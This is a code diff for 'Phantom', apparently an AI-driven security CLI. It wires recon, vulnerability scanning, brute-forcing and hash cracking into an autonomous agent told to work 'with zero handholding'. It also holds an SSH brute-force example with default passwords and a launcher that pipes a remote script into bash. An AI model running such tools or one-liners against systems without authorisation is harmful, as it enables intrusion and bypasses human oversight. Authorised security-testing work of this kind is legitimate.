this.sayLine(`${c("cyan")}📤${R} Next queued: ${next}`, "cyan"); + this._busy = true; + setImmediate(() => this.handleInput(next)); + } else { + // Blank line separates conversation turns + this.tui.log(""); + this.prompt(); + } + } + + sayLine(text, color = "fg") { + const formatted = `${c(color)}${text}${R}`; + this.tui.log(formatted); + this.log(formatted); + } + + get cols() { return process.stdout.columns || 80; } + + renderTopBar() { + const cols = this.cols; + const title = "Phantom"; + const sep = "─".repeat(Math.max(0, cols - title.length - 2)); + console.log(`${c("cyan")}${B}${title}${R}${c("dim")}${sep}╮${R}`); + } + + renderBottomBar() { + const cols = this.cols; + console.log(`${c("dim")}╰${"─".repeat(cols - 1)}╯${R}`); + } + + renderStatusBar() { + const cols = this.cols; + const model = this.llm?.provider || "no LLM"; + const modelShort = typeof model === "string" ? model.replace(/^custom:/, "").split("/").pop() || model : "ai"; + const elapsed = Math.floor((Date.now() - this.startTime) / 1000); + const elapsedStr = elapsed >= 3600 + ? `${Math.floor(elapsed / 3600)}h ${Math.floor((elapsed % 3600) / 60)}m` + : `${Math.floor(elapsed / 60)}m ${elapsed % 60}s`; + const lastResp = this.lastResponseTime + ? `${Math.floor((Date.now() - this.lastResponseTime) / 1000)}s` + : "—"; + const tok = this.tokensUsed || this.responseCount * 500; + const tokLimit = 200000; + const pct = Math.min(100, Math.round((tok / tokLimit) * 100)); + const barLen = 12; + const filled = Math.round((pct / 100) * barLen); + const bar = "█".repeat(filled) + "░".repeat(barLen - filled); + const icon = "⚕"; + + const parts = [ + `${c("magenta")}${icon}${R} ${c("cyan")}${modelShort}${R}`, + `${c("dim")}${tok.toLocaleString()}/${(tokLimit / 1000).toFixed(0)}K${R}`, + `${c("cyan")}[${bar}]${R} ${c("dim")}${pct}%${R}`, + `${c("yellow")}🗜️ ${this.compressions}${R}`, + `${c("green")}${elapsedStr}${R}`, + `${c("dim")}⏲ ${lastResp}${R}`, + `${c("green")}✓${R}`, + ]; + const status = parts.join(` ${c("dim")}│${R} `); + // Truncate if too long + const maxLen = cols - 2; + const out = status.length > maxLen ? status.substring(0, maxLen - 1) + "…" : status; + console.log(out); + } + + renderSepLine() { + console.log(`${c("dim")}${"─".repeat(this.cols)}${R}`); + } + + renderFullFrame() { + this.renderTopBar(); + console.log(""); + this.renderBottomBar(); + this.renderStatusBar(); + this.renderSepLine(); + } + + async handleCommand(args) { + const op = args[0]?.toLowerCase(); + const rest = args.slice(1); + const cmd = this.commands[op]; + if (typeof cmd === "string") return this.handleCommand([cmd, ...rest]); + if (cmd) { await cmd.call(this, rest); this.prompt(); } + else { console.log(`\n${c("red")}✕${R} Unknown: /${op}. Type ${c("green")}/help${R}\n`); this.prompt(); } + } + + get commands() { + return { + help: () => { + const tc = Object.keys(hackerTools).length; + console.log(`\n${B}${c("green")}PHANTOM COMMANDS${R}`); + console.log(` ${c("green")} /help${R} — show this help\n ${c("green")} /command${R} — list all commands`); + console.log(` ${c("green")} /tools${R} — list ${tc} tools`); + console.log(` ${c("green")} /gui${R} — start web dashboard (port 8080)`); + console.log(` ${c("green")} /api${R} — start REST API (port 9090)`); + console.log(` ${c("green")} /model${R} — show/switch LLM`); + console.log(` ${c("green")} /clear${R} — clear screen\n ${c("green")} /stop${R} — cancel current operation`); + console.log(` ${c("green")} /queue${R} — show queued inputs\n ${c("green")} /flushqueue${R} — clear all queued inputs`); + console.log(` ${c("green")} /delegate${R} — delegate task to agent\n ${c("green")} /talk${R} — talk directly to an agent`); + console.log(` ${c("green")} /agents${R} — list team with status\n ${c("green")} /save${R} — save session`); + console.log(` ${c("green")} /load${R} — load session\n ${c("green")} /quit${R} — exit\n`); + console.log(`${D}Type anything to chat. Use \\\\ for multi-line.${R}`); + console.log(`${D}The AI auto-uses tools via @tool_name|args syntax.${R}`); + console.log(`${D}@pipe${R} — chain tools: @pipe|subfinder|example.com|httpx`); + console.log(`${D}@schedule${R} — scheduled scans: @schedule|daily|recon|target`); + console.log(`${D}@scope${R} — manage targets: @scope|add|example.com`); + console.log(`${D}@workspace_write${R} — save findings: @workspace_write|key|value`); + console.log(`${D}@self_evolve${R} — run auto-evolution pipeline`); + console.log(`${D}@self_evolve|status${R} — show evolution state`); + console.log(`${D}TAB${R} — cycle suggestions, autocomplete @tool`); + console.log(`${D}↑↓${R} — navigate suggestions / history`); + console.log(`${D}↩${R} — accept highlighted suggestion`); + console.log(`${D}ESC${R} — dismiss suggestions`); + console.log(`${D}--quiet${R} — suppress banner/status (env: PHANTOM_QUIET)\n`); + }, + h: "help", command: "help", + command: () => { + console.log(`\n${B}${c("green")}PHANTOM TASKS${R}`); + console.log(`${D}Core commands:${R}`); + console.log(` ${c("green")}help${R} / ${c("green")}?${R} / ${c("green")}command${R} — show this help`); + console.log(` ${c("green")}tools${R} — list all 149 tools`); + console.log(` ${c("green")}clear${R} / ${c("green")}cls${R} — clear screen`); + console.log(` ${c("green")}quit${R} / ${c("green")}exit${R} — exit Phantom`); + console.log(`\\n${D}Bug Bounty / HackerOne / Bugcrowd:${R}`); + console.log(` ${c("green")}hackerone programs${R} — list all HackerOne programs`); + console.log(` ${c("green")}hackerone scope ${R} — view program scope`); + console.log(` ${c("green")}hackerone reports ${R} — view submitted reports`); + console.log(` ${c("green")}hackerone report ${R} — view single report`); + console.log(` ${c("green")}hackerone me${R} — authenticated user info`); + console.log(` ${c("green")}hackerone test${R} — test auth`); + console.log(` ${c("green")}bugcrowd programs${R} — list all Bugcrowd programs`); + console.log(` ${c("green")}bugcrowd scope ${R} — view program scope (targets)`); + console.log(` ${c("green")}bugcrowd submissions ${R} — view submissions`); + console.log(` ${c("green")}bugcrowd submission ${R} — view single submission`); + console.log(` ${c("green")}bugcrowd me${R} — authenticated user info`); + console.log(` ${c("green")}bugcrowd test${R} — test auth`); + console.log(` ${c("green")}bugbounty ${R} — unified: hackerone|bugcrowd`); + console.log(`\n${D}Recon & Scanning:${R}`); + console.log(` ${c("green")}recon ${R} — full recon pipeline`); + console.log(` ${c("green")}port scan ${R} — port scan`); + console.log(` ${c("green")}subdomain ${R} — subdomain enumeration`); + console.log(` ${c("green")}ssl check ${R} — SSL certificate check`); + console.log(` ${c("green")}tech detect ${R} — technology detection`); + console.log(` ${c("green")}crawl ${R} — web crawl`); + console.log(` ${c("green")}dns ${R} — DNS lookup`); + console.log(` ${c("green")}whois ${R} — WHOIS lookup`); + console.log(`\n${D}Vulnerability Research:${R}`); + console.log(` ${c("green")}cve ${R} — search CVEs`); + console.log(` ${c("green")}exploit ${R} — search exploits`); + console.log(` ${c("green")}xss ${R} — XSS scan`); + console.log(` ${c("green")}sqli ${R} — SQL injection scan`); + console.log(` ${c("green")}dir brute ${R} — directory bruteforce`); + console.log(` ${c("green")}redirect ${R} — open redirect test`); + console.log(`\n${D}OSINT & Intel:${R}`); + console.log(` ${c("green")}shodan ${R} — Shodan search`); + console.log(` ${c("green")}breach ${R} — email breach check`); + console.log(` ${c("green")}github dork ${R} — GitHub dorks`); + console.log(` ${c("green")}takeover ${R} — subdomain takeover`); + console.log(` ${c("green")}vt ${R} — VirusTotal check`); + console.log(` ${c("green")}wayback ${R} — Wayback Machine`); + console.log(` ${c("green")}geoip ${R} — GeoIP lookup`); + console.log(`\n${D}Crypto & Hashes:${R}`); + console.log(` ${c("green")}hash ${R} — multiple hash formats`); + console.log(` ${c("green")}decode ${R} — decode base64/url/hex`); + console.log(` ${c("green")}crack ${R} — hash cracking`); + console.log(` ${c("green")}jwt ${R} — JWT decode`); + console.log(`\n${D}Mission/Automation:${R}`); + console.log(` ${c("green")}mission auto ${R} — autonomous recon`); + console.log(` ${c("green")}auto ${R} — alias for mission auto`); + console.log(` ${c("green")}scope add ${R} — add to scope`); + console.log(` ${c("green")}schedule daily ${R} — schedule scan`); + console.log(`\n${D}Session & Config:${R}`); + console.log(` ${c("green")}config list${R} — show config`); + console.log(` ${c("green")}config set ${R} — set config`); + console.log(` ${c("green")}save ${R} — save session`); + console.log(` ${c("green")}load ${R} — load session`); + console.log(` ${c("green")}agents${R} — list AI agents`); + console.log(`\n${D}Agent Commands (ESC then type):${R}`); + console.log(` ${c("green")}spawn [name] [role]${R} — create agent`); + console.log(` ${c("green")}list${R} — list agents`); + console.log(` ${c("green")}broadcast ${R} — message all agents`); + console.log(` ${c("green")}debate ${R} — agents debate`); + console.log(` ${c("green")}evolve${R} — evolve all agents`); + console.log(`\n${D}Direct tool usage:${R}`); + console.log(` ${c("cyan")}@tool_name|args${R} — run any tool directly`); + console.log(` ${c("cyan")}@pipe|tool1|args | tool2|args${R} — chain tools`); + console.log(`\n${D}Type naturally (e.g. "hackerone programs", "recon example.com")${R}\n`); + }, + tools: () => { + const names = Object.keys(hackerTools).sort(); + log.art(`\n${B}${c("green")}PHANTOM TOOLS (${names.length})${R}`); + for (let i = 0; i < names.length; i += 4) console.log(` ${names.slice(i, i + 4).map(n => `${c("cyan")}${n.padEnd(20)}${R}`).join("")}`); + console.log(""); + }, + model: (rest) => { + if (rest.length === 0) { + const ready = process.env.PHANTOM_PROVIDERS_READY; + const avail = ready ? ready.split(",") : []; + console.log(`\n${B}Current:${R} ${this.llm?.provider || "none"}`); + console.log(`${D}Available providers:${R}`); + for (const p of this.llm?.providers || []) console.log(` ${p.padEnd(14)}${avail.includes(p) ? `${c("green")} ✅${R}` : `${c("dim")} —${R}`}`); + console.log(`${D}/model to switch${R}\n`); + } else if (this.llm?.providers?.includes(rest[0])) { this.llm.provider = rest[0]; console.log(`\n${c("green")}✓${R} Switched to ${B}${rest[0]}${R}\n`); } + else console.log(`\n${c("red")}✕${R} Unknown: ${rest[0]}. Available: ${this.llm?.providers?.join(", ") || "none"}\n`); + }, + clear: () => { + this.logLines = []; + if (this.tui?.active) { + this.tui._buf.length = 0; + for (let r = this.tui._convTop; r <= this.tui._convBot; r++) { + process.stdout.write(`\x1b[${r};1H\x1b[2K`); + } + this.tui._cursorRow = this.tui._convTop; + process.stdout.write(`\x1b[${this.tui._convTop};1H`); + this.tui.setInput(""); + } else { + process.stdout.write(cls + home); + console.log(`\n${c("magenta")}${c("dim")}· · · · · · ${R}\n${c("cyan")} ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄${R}\n${c("cyan")} █${c("magenta")} ═══ ═══ ═══ ═══ ═══${c("cyan")} █${R}\n${c("cyan")}▐█${c("magenta")} · · · · ·${c("cyan")} █▌${R}\n${c("cyan")}▐█ ${c("magenta")}╔═══════════╗${c("cyan")} █▌${R}\n${c("cyan")}▐█ ${c("magenta")}║ ${c("green")}◈ ◈${c("magenta")} ║${c("cyan")} █▌${R}\n${c("cyan")}▐█ ${c("magenta")}║${c("dim")} ╔═══╗${c("magenta")} ║${c("cyan")} █▌${R}\n${c("cyan")}▐█ ${c("magenta")}╚═══════════╝${c("cyan")} █▌${R}\n${c("cyan")} █ ${c("magenta")}┊ ${c("magenta")}${c("dim")}║${c("magenta")} ${c("magenta")}${c("dim")}║${c("magenta")} ┊${c("cyan")} █${R}\n${c("cyan")} █ ${c("magenta")}┊ ${c("magenta")}${c("dim")}║${c("magenta")} ● ${c("magenta")}${c("dim")}║${c("magenta")} ┊${c("cyan")} █${R}\n${c("cyan")} ▀▄ ${c("magenta")}${c("dim")}║${c("magenta")} ═══ ${c("magenta")}${c("dim")}║${c("cyan")} ▄▀${R}\n ${c("magenta")}${B}P H A N T O M${R} ${c("dim")}cleared${R}\n`); + } + }, + c: "clear", + stop: () => this.cancel(), + queue: function() { + if (this.promptQueue.length === 0) console.log(`${c("dim")}Queue empty. Type while the agent is busy to queue inputs.${R}`); + else { + console.log(`\n${B}${c("cyan")}QUEUE (${this.promptQueue.length})${R}`); + this.promptQueue.forEach((item, i) => console.log(` ${c("dim")}${i + 1}.${R} ${item}`)); + console.log(""); + } + }, + q: "queue", + flushqueue: function() { + const n = this.promptQueue.length; + this.promptQueue = []; + console.log(`${c("yellow")}🗑${R} Queue cleared (${n} items discarded).`); + }, + fq: "flushqueue", + delegate: async function(rest) { + const targetName = rest[0], task = rest.slice(1).join(" "); + if (!targetName) { console.log(`\n${c("red")}✕${R} Usage: /delegate \n ${c("dim")}Agents:${R} ${this.am.list.map(a => `${a.name}(${a.role})`).join(", ")}\n`); } + else if (!task) { console.log(`\n${c("red")}✕${R} Specify a task. Usage: /delegate \n`); } + else { + const target = this.am.findAgent(targetName); + if (!target) console.log(`\n${c("red")}✕${R} No agent "${targetName}". Available: ${this.am.list.map(a => a.name).join(", ")}\n`); + else { console.log(`\n${c("magenta")}◆${R} Delegating to ${B}${target.name}${R} (${target.role})...\n`); console.log(`${c("green")}${await this.am.delegate(this.agent?.id, targetName, task)}${R}\n`); } + } + }, + del: "delegate", + talk: async function(rest) { + const agentName = rest[0], message = rest.slice(1).join(" "); + if (!agentName) { console.log(`\n${c("red")}✕${R} Usage: /talk \n ${c("dim")}Agents:${R} ${this.am.list.map(a => `${a.name}(${a.role})`).join(", ")}\n`); } + else if (!message) { console.log(`\n${c("red")}✕${R} Specify a message. Usage: /talk \n`); } + else { + const target = this.am.findAgent(agentName); + if (!target) console.log(`\n${c("red")}✕${R} No agent "${agentName}". Available: ${this.am.list.map(a => a.name).join(", ")}\n`); + else { console.log(`\n${c("cyan")}◈${R} Talking to ${B}${target.name}${R} (${target.role})...\n`); console.log(`${c("green")}${await target.receive("user", message)}${R}\n`); } + } + }, + t: "talk", + save: function(rest) { if (rest[0]) { saveMemory(`session_${rest[0]}`, this.conversation); console.log(`\n${c("green")}✓${R} Saved: ${B}${rest[0]}${R}\n`); } }, + load: function(rest) { + if (rest[0]) { + const m = loadMemory(`session_${rest[0]}`); + if (m?.length) { this.conversation = m; console.log(`\n${c("green")}✓${R} Loaded: ${B}${rest[0]}${R} (${m.length} messages)\n`); } + else console.log(`\n${c("red")}✕${R} Not found: ${rest[0]}\n`); + } + }, + gui: function(rest) { + if (this._guiRunning) console.log(`\n${c("yellow")}⚠${R} Dashboard already running on port ${this._guiPort || 8080}\n`); + else { const p = parseInt(rest[0]) || 8080; startGuiDashboard(p); this._guiRunning = true; this._guiPort = p; console.log(`\n${c("green")}✓${R} Dashboard started at ${c("cyan")}http://localhost:${p}${R}\n`); } + }, + dashboard: "gui", g: "gui", + api: function(rest) { + if (this._apiRunning) console.log(`\n${c("yellow")}⚠${R} API server already running on port ${this._apiPort || 9090}\n`); + else { const p = parseInt(rest[0]) || 9090; startApiServer(p); this._apiRunning = true; this._apiPort = p; console.log(`\n${c("green")}✓${R} API server started at ${c("cyan")}http://localhost:${p}${R}\n`); } + }, + rest: "api", + quit: () => this.stop(), + exit: "quit", + }; + } + + stop() { + this.tui.exit(); + this.running = false; + raw(false); + try { if (this.inputHandler) process.stdin.removeListener("data", this.inputHandler); } catch {} + process.stdout.write(show); + log.ok(`\n${c("green")}Phantom terminated.${R}`); + saveSession({ stats: { toolsUsed: Object.keys(hackerTools).length, lastExit: Date.now() } }); + process.exit(0); + } + + // ─── MISSION TASK SYSTEM ─── + async runMissionTasks() { + const tasks = [ + { id: "h1:programs", source: "hackerone", title: "List all HackerOne programs", category: "bug-bounty" }, + { id: "h1:scope", source: "hackerone", title: "View program scope", category: "bug-bounty" }, + { id: "h1:reports", source: "hackerone", title: "View submitted reports", category: "bug-bounty" }, + { id: "recon:passive", source: "recon", title: "Passive reconnaissance (subfinder, dnsx, httpx)", category: "recon" }, + { id: "recon:subdomain", source: "recon", title: "Subdomain enumeration", category: "recon" }, + { id: "recon:dns", source: "recon", title: "DNS resolution and records", category: "recon" }, + { id: "recon:http", source: "recon", title: "HTTP probing and tech detection", category: "recon" }, + { id: "net:portscan", source: "network", title: "Port scanning", category: "network" }, + { id: "net:ssl", source: "network", title: "SSL/TLS certificate check", category: "network" }, + { id: "net:whois", source: "network", title: "WHOIS lookup", category: "network" }, + { id: "vuln:cve", source: "vulnerability", title: "CVE search", category: "vulnerability" }, + { id: "vuln:exploit", source: "vulnerability", title: "Exploit search", category: "vulnerability" }, + { id: "web:crawl", source: "web", title: "Web crawling", category: "web" }, + { id: "web:headers", source: "web", title: "HTTP headers analysis", category: "web" }, + { id: "web:tech", source: "web", title: "Technology detection", category: "web" }, + { id: "mission:recon", source: "mission", title: "Autonomous mission recon", category: "mission" }, + { id: "mission:scope", source: "mission", title: "Scope checking", category: "mission" }, + { id: "osint:whois", source: "osint", title: "WHOIS lookup", category: "osint" }, + { id: "osint:dns", source: "osint", title: "DNS enumeration", category: "osint" }, + { id: "osint:cert", source: "osint", title: "Certificate transparency", category: "osint" }, + ]; + + const byCategory = {}; + for (const t of tasks) { + if (!byCategory[t.category]) byCategory[t.category] = []; + byCategory[t.category].push(t); + } + + let out = `📋 Available Tasks (${tasks.length} total)\n`; + for (const [cat, items] of Object.entries(byCategory)) { + out += `\n${cat.toUpperCase()}:\n`; + for (const t of items) { + out += ` ${t.id.padEnd(25)} — ${t.title}\n`; + } + } + out += `\nUsage: run [target]`; + return out; + } + + async runMissionTask(input) { + const taskId = input.trim(); + if (!taskId) return "[mission run] Usage: run [target]"; + + const taskMap = { + "h1:programs": () => hackerTools.hackerone("programs"), + "h1:scope": (id) => hackerTools.hackerone(`scope ${id}`), + "h1:reports": () => hackerTools.hackerone("reports"), + "recon:passive": (target) => hackerTools.recon(target), + "recon:subdomain": (target) => hackerTools.sub_enum(target), + "recon:dns": (target) => hackerTools.dns_lookup(target), + "recon:http": (target) => hackerTools.http_headers(target), + "net:portscan": (target) => hackerTools.port_scan(target), + "net:ssl": (target) => hackerTools.ssl_check(target), + "net:whois": (target) => hackerTools.whois(target), + "vuln:cve": (query) => hackerTools.cve_search(query), + "vuln:exploit": (query) => hackerTools.searchsploit(query), + "web:crawl": (target) => hackerTools.crawl(target), + "web:headers": (target) => hackerTools.http_headers(target), + "web:tech": (target) => hackerTools.whatweb(target), + "mission:recon": (id) => hackerTools.mission(`auto ${id}`), + "mission:scope": (id) => hackerTools.mission(`scope-check ${id}`), + "osint:whois": (target) => hackerTools.whois(target), + "osint:dns": (target) => hackerTools.sub_enum(target), + "osint:cert": (target) => hackerTools.ssl_check(target), + }; + + const parts = input.trim().split(" "); + const taskKey = parts[0]; + const target = parts.slice(1).join(" "); + + if (!taskMap[taskKey]) { + return `[mission run] Unknown task: ${taskKey}\nUse "list tasks" to see available tasks`; + } + + const needsTarget = ["h1:scope", "recon:passive", "recon:subdomain", "recon:dns", "recon:http", + "net:portscan", "net:ssl", "net:whois", "vuln:cve", "vuln:exploit", + "web:crawl", "web:headers", "web:tech", "mission:scope", "osint:whois", "osint:dns", "osint:cert"].includes(taskKey); + + if (needsTarget && !target) { + return `[mission run] Usage: run ${taskKey} `; + } + + return await taskMap[taskKey](target); + } +} + +// ── UI Selector ─────────────────────────────────────────── +function selectUI(am) { + const e = ENV; + + // Show environment info + const info = []; + if (e.isTermux) info.push("Termux"); + if (e.isTmux) info.push("tmux"); + if (e.isWSL) info.push("WSL"); + if (e.isWindows) info.push("Windows"); + if (e.isProot) info.push("PRoot"); + if (info.length) log.error(`${D}${info.join("/")} mode${R}`); + + // Non-interactive: minimal + if (!e.interactive) { + log.error(`${D}Non-interactive mode${R}`); + return new MinimalUI(am); + } + + // Default: Conversational REPL (works everywhere) + // This gives a Claude Code / Hermes CLI experience + try { + return new ConversationalUI(am); + } catch (err) { + log.error(`${D}Conversational UI unavailable, falling back: ${err.message}${R}`); + return new TermuxUI(am); + } +} + +// ── GUI Dashboard ────────────────────────────────────────── +// ── REST API Handler ────────────────────────────────────── +// API server + GUI dashboard extracted to lib/server.mjs +// (imported at top of file) + +// ── Main ────────────────────────────────────────────────── +import readline from "readline"; + +// ── CLI One-Shot Mode ───────────────────────────────────── +const llm = createProvider(); +llmInstance = llm; +__r.llmInstance = llmInstance; +initApiDeps(hackerTools, __r, REPORTS_DIR); +const args = process.argv.slice(2); + +// Pre-scan for --quiet flag (can appear anywhere) +const quietIdx = args.indexOf("--quiet"); +if (quietIdx !== -1) { + process.env.PHANTOM_QUIET = "1"; + args.splice(quietIdx, 1); +} + +if (args.length > 0 && !args[0].startsWith("--")) { + // No --flag: pass as interactive input to phantom +} else if (args.length > 0) { + const flag = args[0].replace("--", ""); + const input = args.slice(1).join(" ") || ""; + + if (flag === "chat" || flag === "c") { + // Lightweight chat mode + const { runChat } = await import("./chat.mjs"); + await runChat(llm); + process.exit(0); + } + + if (flag === "version" || flag === "v") { + log.cli(`Phantom v${PHANTOM_VERSION}`); + process.exit(0); + } + + if (flag === "help" || flag === "h") { + log.cli(`Phantom — Cybersecurity AI Assistant + +Usage: + phantom Conversational REPL (default) + phantom --recon Full recon (7 steps + report) + phantom --tool Run one tool directly + phantom --tool --json JSON structured output + phantom --tool --pipe "sub | dom | httpx" Pipe tools (chain output→input) + phantom --repl Force conversational REPL mode + phantom --list List all tools + phantom --list --json List tools as JSON + phantom --gui Start web dashboard (port 8080) + phantom --api Start REST API server (port 9090) + phantom --quiet Suppress banner/status + phantom --version Show version + phantom --help This help + +Scheduling: + @schedule|daily|recon|target Schedule daily recon + @schedule|hourly|scan|target Schedule hourly scan + @schedule|list Show scheduled jobs + @schedule|remove|0 Cancel a schedule (by ID) + @schedule|scope-auto Auto-schedule scope targets + +Scope: + @scope|add|domain.com Add target to scope + @scope|add|file.txt Load targets from file + @scope|list Show scope + @scope|remove|domain.com Remove target + @scope|clear Clear scope + +Examples: + phantom --recon example.com + phantom --tool port_scan scanme.org + phantom --tool cve_search "apache 2.4.49" + phantom --tool bruteforce "ssh|192.168.1.1|root|admin,toor,123" + phantom --tool --pipe "subfinder|example.com | httpx | nuclei"`); + process.exit(0); + } + + if (flag === "list" || flag === "l") { + const names = Object.keys(hackerTools).sort(); + log.cli(`Phantom — ${names.length} tools:\n`); + for (const name of names) { + const desc = typeof hackerTools[name] === "function" ? "" : ""; + log.cli(` ${name.padEnd(22)}`); + } + log.cli(`\nUse --tool [input] to run a tool.`); + process.exit(0); + } + + if (flag === "repl") { + // Force conversational REPL mode + const llm = createProvider(); + llmInstance = llm; +__r.llmInstance = llmInstance; + const am = new AgentManager(llm); + const ui = new ConversationalUI(am); + ui.start(); + await new Promise(() => {}); // keep alive + } + + if (flag === "chat" || flag === "c") { + // Lightweight chat mode + const { runChat } = await import("./chat.mjs"); + await runChat(llm); + process.exit(0); + } + + if (flag === "gui" || flag === "dashboard" || flag === "g") { + const port = parseInt(process.env.PHANTOM_PORT || '8080'); + const dllm = createProvider(); + llmInstance = dllm; + __r.llmInstance = dllm; + const dam = new AgentManager(dllm); + const dagent = dam.spawn("Phantom", "Cybersecurity AI", + "You are Phantom, an autonomous cybersecurity AI. You operate with zero handholding — " + + "the user gives a goal and you execute the full workflow. " + + "Use @tool|args syntax to run tools." + ); + setChatAgent(dagent, dam, EventBus.i); + dam.agents.forEach(a => a.registerHackerTools()); + startGuiDashboard(port); + await new Promise(() => {}); // keep alive + } + + if (flag === "api" || flag === "rest") { + const port = parseInt(process.env.PHANTOM_API_PORT || '9090'); + startApiServer(port); + await new Promise(() => {}); // keep alive + } + + if (flag === "tool" || flag === "t") { + const jsonMode = args.includes("--json"); + const pipeMode = args.includes("--pipe") || args.includes("--chain"); + const toolArgs = args.slice(1).filter(a => a !== "--json" && a !== "--pipe" && a !== "--chain"); + const toolName = toolArgs[0]; + const toolInput = toolArgs.slice(1).join(" "); + if (!toolName) { + log.error(`Usage: phantom --tool [input]\n --json JSON output\n --pipe Pipe tool output to next tool (use | in input)\nAvailable: ${Object.keys(hackerTools).sort().join(", ")}`); + process.exit(1); + } + if (pipeMode && toolInput.includes(" | ")) { + // Chained pipe mode — use " | " as segment separator + const result = await runPipe(hackerTools, toolInput, { json: jsonMode }); + if (jsonMode) { + log.output(result); + } else { + log.output(`🔗 ${toolInput}`); + log.output(result); + } + } else if (!toolName) { + log.error(`Usage: phantom --tool [input]\n --json JSON output\n --pipe Pipe tool output to next tool (use | in input)\nAvailable: ${Object.keys(hackerTools).sort().join(", ")}`); + process.exit(1); + } else { + const result = await runTool(hackerTools, toolName, toolInput || "", { json: jsonMode }); + if (!jsonMode) log.output(`🔧 ${toolName} ${toolInput ? `— ${toolInput}` : ""}`); + log.output(result); + if (!jsonMode) process.exit(0); + // In JSON mode, exit only on error (success JSON is already printed) + try { + const p = JSON.parse(result); + if (!p.ok) process.exit(1); + } catch {} + process.exit(0); + } + process.exit(0); + } + + if (flag === "recon" || flag === "r") { + if (!input) { log.error("Usage: node phantom.mjs --recon "); process.exit(1); } + log.output(`🎯 Phantom Recon — ${input}\n`); + const result = await hackerTools.recon(input); + log.output(result); + process.exit(0); + } + + // Unknown flag — try as tool name directly + const toolName = flag; + if (hackerTools[toolName]) { + process.stdout.write(`🔧 ${toolName}${input ? ` — ${input}` : ""} `); + const start = Date.now(); + process.stdout.write(`[*] processing...\r`); + const result = await runTool(hackerTools, toolName, input || ""); + const elapsed = ((Date.now() - start) / 1000).toFixed(1); + console.log(`\r${result ? result.slice(0, 10000) : "(empty)"}`); + if (result && result.length > 10000) log.output(`...[truncated ${result.length} total chars]`); + if (elapsed > 0.5) log.info(`⏱ ${elapsed}s`); + process.exit(0); + } + + log.error(`Unknown flag: --${flag}. Use --help for usage.`); + process.exit(1); +} + +// ── Provider detection ── +if (ENV.interactive) { + try { + const avail = await llm.detectProviders(); + const ready = Object.entries(avail).filter(([, v]) => v !== "no").map(([n]) => n); + if (ready.length > 0) { + if (!ready.includes(llm.provider)) { + const best = llm.selectBest(avail); + if (best) llm.provider = best; + } + process.env.PHANTOM_PROVIDERS_READY = ready.join(","); + } else { + // No LLM available — offer to set up an API key + console.log(`\n${c("yellow")}⚠ No LLM provider configured.${R}`); + console.log(`${D}You can run Ollama locally or set an API key.${R}`); + const keyProviders = [ + ["openai", "OPENAI_API_KEY", "OpenAI"], + ["anthropic", "ANTHROPIC_API_KEY", "Anthropic"], + ["groq", "GROQ_API_KEY", "Groq"], + ["gemini", "GEMINI_API_KEY", "Google Gemini"], + ["deepseek", "DEEPSEEK_API_KEY", "DeepSeek"], + ["mistral", "MISTRAL_API_KEY", "Mistral"], + ["openrouter", "OPENROUTER_API_KEY", "OpenRouter"], + ]; + console.log(`\n${B}Set up a provider?${R} (${D}enter number or leave blank to skip${R})`); + for (let i = 0; i < keyProviders.length; i++) { + console.log(` ${i + 1}) ${keyProviders[i][2]}`); + } + const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); + const pick = await new Promise(r => rl.question(`\n${c("cyan")}?${R} Choice (1-${keyProviders.length}): `, r)); + rl.close(); + const idx = parseInt(pick) - 1; + if (idx >= 0 && idx < keyProviders.length) { + const [, envVar, label] = keyProviders[idx]; + const rl2 = readline.createInterface({ input: process.stdin, output: process.stdout }); + const key = await new Promise(r => rl2.question(`${c("cyan")}🔑${R} Enter ${label} API key: `, r)); + rl2.close(); + if (key.trim()) { + process.env[envVar] = key.trim(); + _config[envVar] = key.trim(); + try { fs.writeFileSync(userConfigPath, JSON.stringify(_config, null, 2)); } catch {} + console.log(`${c("green")}✓${R} ${label} API key saved to config.json\n`); + // Re-detect + const avail2 = await llm.detectProviders(); + const ready2 = Object.entries(avail2).filter(([, v]) => v !== "no").map(([n]) => n); + if (ready2.length > 0) { + const best = llm.selectBest(avail2); + if (best) llm.provider = best; + process.env.PHANTOM_PROVIDERS_READY = ready2.join(","); + } + } + } + } + } catch {} +} + +// ── Launch ConversationalUI (default) ── +const am = new AgentManager(llm); +const ui = selectUI(am); +ui.start(); + +process.on("SIGINT", () => { try { process.stdout.write(show); } catch {} process.exit(0); }); +process.on("SIGTERM", () => { try { process.stdout.write(show); } catch {} process.exit(0); }); +process.on("exit", () => { + try { process.stdout.write(show); } catch {} +}); diff --git a/run.sh b/run.sh new file mode 100755 index 0000000000000000000000000000000000000000..276eef6e4e4aac8e4eb3feb84468d3feba7cc349 --- /dev/null +++ b/run.sh @@ -0,0 +1,110 @@ +#!/usr/bin/env bash +# Phantom — space evolving multi-agent terminal +# Zero-setup launcher. Works on Termux, Linux, macOS. +# Usage: bash <(curl -s https://raw.githubusercontent.com/Njap-png/Phantom/main/run.sh) + +set -e + +BOLD='\033[1m' +GREEN='\033[0;32m' +CYAN='\033[0;36m' +YELLOW='\033[0;33m' +RED='\033[0;31m' +DIM='\033[2m' +NC='\033[0m' + +echo -e "${BOLD}${GREEN}◈${NC} ${BOLD}Phantom${NC} ${DIM}space evolving terminal${NC}" + +# ── Detect environment ──────────────────────────────────── +IS_TERMUX=false +IS_LINUX=false +IS_MAC=false +PKG_MGR="" + +if [ -n "$TERMUX_VERSION" ] || [ -d "/data/data/com.termux" ]; then + IS_TERMUX=true +elif [ "$(uname)" = "Darwin" ]; then + IS_MAC=true +elif [ "$(uname)" = "Linux" ]; then + IS_LINUX=true +fi + +# ── Ensure Node.js ───────────────────────────────────────── +if ! command -v node &>/dev/null; then + echo -e "${YELLOW}⚠ Node.js not found. Installing...${NC}" + + if $IS_TERMUX; then + pkg update -y && pkg install -y nodejs + elif $IS_MAC; then + if command -v brew &>/dev/null; then + brew install node + else + echo -e "${RED}✕ Install Homebrew first: https://brew.sh${NC}" + exit 1 + fi + elif $IS_LINUX; then + if command -v apt &>/dev/null; then + sudo apt update -qq && sudo apt install -y -qq nodejs npm + elif command -v pacman &>/dev/null; then + sudo pacman -Sy --noconfirm nodejs npm + elif command -v dnf &>/dev/null; then + sudo dnf install -y nodejs + elif command -v apk &>/dev/null; then + apk add nodejs npm + else + echo -e "${RED}✕ Could not install Node.js. Please install manually.${NC}" + exit 1 + fi + + # Ensure minimal node version + NODE_VER=$(node -v 2>/dev/null | sed 's/v//' | cut -d. -f1) + if [ -z "$NODE_VER" ] || [ "$NODE_VER" -lt 18 ]; then + echo -e "${YELLOW}⚠ Node.js v18+ required. 